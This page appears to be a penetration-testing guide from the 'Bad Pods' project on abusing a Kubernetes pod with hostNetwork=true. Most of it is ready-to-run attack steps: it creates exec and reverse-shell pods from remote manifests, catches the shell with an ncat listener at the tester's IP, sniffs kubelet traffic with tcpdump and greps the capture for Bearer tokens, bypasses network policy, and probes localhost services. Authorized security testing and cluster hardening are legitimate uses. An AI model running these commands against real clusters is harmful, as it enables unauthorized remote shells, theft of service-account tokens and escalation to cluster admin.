hostnetwork

Bad Pod #6: hostNetwork

If you only have hostNetwork=true, you can't get privileged code execution on the host directly, but if your cross your fingers you might still find a path to cluster admin. There are two potential escalation paths:

• Sniff traffic - You can use tcpdump to sniff unencrypted traffic on any interface on the host. You might get lucky and find service account tokens or other sensitive information that is transmitted over unencrypted channels.
• Access services bound to localhost - You can also reach services that only listen on the host’s loopback interface or that are otherwise blocked by network polices. These services might turn into a fruitful privilege escalation path.
• Bypass network policy - If a restrictive network policy is applied to the namespace, deploying a pod with hostNetwork=true allows you to bypass the restrictions because you are bound to the host's network interfaces, and not the pod.

Table of Contents

• Pod creation & access
  • Exec pods
  • Reverse shell pods
  • Deleting resources
• Post Exploitation
  • Install tcpdump and sniff traffic
  • Investigate local services
  • Attacks that apply to all pods, even without any special permissions
• Demonstrate impact
• References and further reading:

Pod creation & access

Exec pods

Create one or more of these resource types and exec into the pod

Pod

kubectl apply -f https://github.com/BishopFox/badPods/main/manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl exec -it hostnetwork-exec-pod -- bash

Job, CronJob, Deployment, StatefulSet, ReplicaSet, ReplicationController, DaemonSet

• Replace [RESOURCE_TYPE] with deployment, statefulset, job, etc.

kubectl apply -f https://github.com/BishopFox/badPods/main/manifests/hostnetwork/[RESOURCE_TYPE]/hostnetwork-exec-[RESOURCE_TYPE].yaml 
kubectl get pods | grep hostnetwork-exec-[RESOURCE_TYPE]      
kubectl exec -it hostnetwork-exec-[RESOURCE_TYPE]-[ID] -- bash

Keep in mind that if pod security policy blocks the pod, the resource type will still get created. The admission controller only blocks the pods that are created by the resource type.

To troubleshoot a case where you don't see pods, use kubectl describe

kubectl describe hostnetwork-exec-[RESOURCE_TYPE]

Reverse shell pods

Create one or more of these resources and catch the reverse shell

Step 1: Set up listener

ncat --ssl -vlp 3116

Step 2: Create pod from local manifest without modifying it by using env variables and envsubst

• Replace [RESOURCE_TYPE] with deployment, statefulset, job, etc.
• Replace the HOST and PORT values to point the reverse shell to your listener

HOST="10.0.0.1" PORT="3116" envsubst < ./manifests/hostnetwork/[RESOURCE_TYPE]/hostnetwork-revshell-[RESOURCE_TYPE].yaml | kubectl apply -f -

Step 3: Catch the shell

$ ncat --ssl -vlp 3116
Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: Listening on :::3116
Ncat: Listening on 0.0.0.0:3116
Connection received on 10.0.0.162 42035

Deleting resources

You can delete a resource using it's manifest, or by name. Here are some examples:

kubectl delete [type] [resource-name]
kubectl delete -f manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl delete -f https://github.com/BishopFox/badPods/main/manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl delete pod hostnetwork-exec-pod
kubectl delete cronjob hostnetwork-exec-cronjob

Post Exploitation

Install tcpdump and sniff traffic

If you can't install tools to your pod (no internet access), you will have to change the image in your pod yaml to something that already includes tcpdump, like https://hub.docker.com/r/corfr/tcpdump

apt update && apt -y install tcpdump net-tools netcat

You now have a few options for next steps:

See if the kubelet read port (10255/tcp) is open on any of the node's IPs

nc -zv 10.0.0.162 10255
Connection to 10.0.0.162 10255 port [tcp/*] succeeded!
nc -zv 172.17.0.1 10255
Connection to 172.17.0.1 10255 port [tcp/*] succeeded!

If the read port is open, run tcpdump, recording the output to a file for a few minutes

Warning: Sniffing on an interface with a lot of traffic can cause the interface to DROP traffic, which is not what you want in an production environment. I suggest picking one port at a time for your packet captures (e.g., 10255, 80, 8080, 3000 25, 23) Warning: Always run tcpdump with the -n flag. This turns off name resolution, and if you don't, the name resolution will bring the capture, and potentially the host, to its knees.

tcpdump -ni [host or docker interface name] -s0 -w kubelet-ro.cap port 10255

Stop the capture and read the file with tcpdump. Tip: Use the -A flag to only show the printable characters and hunt for things like tokens with grep

tcpdump -ro kubelet-ro.cap -s0 -A
tcpdump -ro kubelet-ro.cap -s0 -A | grep Bearer

Cross your fingers and look for secrets. If you are lucky, you might even get a jwt. If you are really lucky, that token might be associated with a service account in kube-system.

Investigate local services

curl https://localhost:1234/metrics

Attacks that apply to all pods, even without any special permissions

• Cloud metadata service
• Kube-apiserver or kubelet with anonymous-auth enabled
• Kubernetes exploits
• Hunting for vulnerable application/services in the cluster

Demonstrate impact

If you are performing a penetration test, the end goal is not to gain cluster-admin, but rather to demonstrate the impact of exploitation. Use the access you have gained to accomplish the objectives of the penetration test.

References and further reading: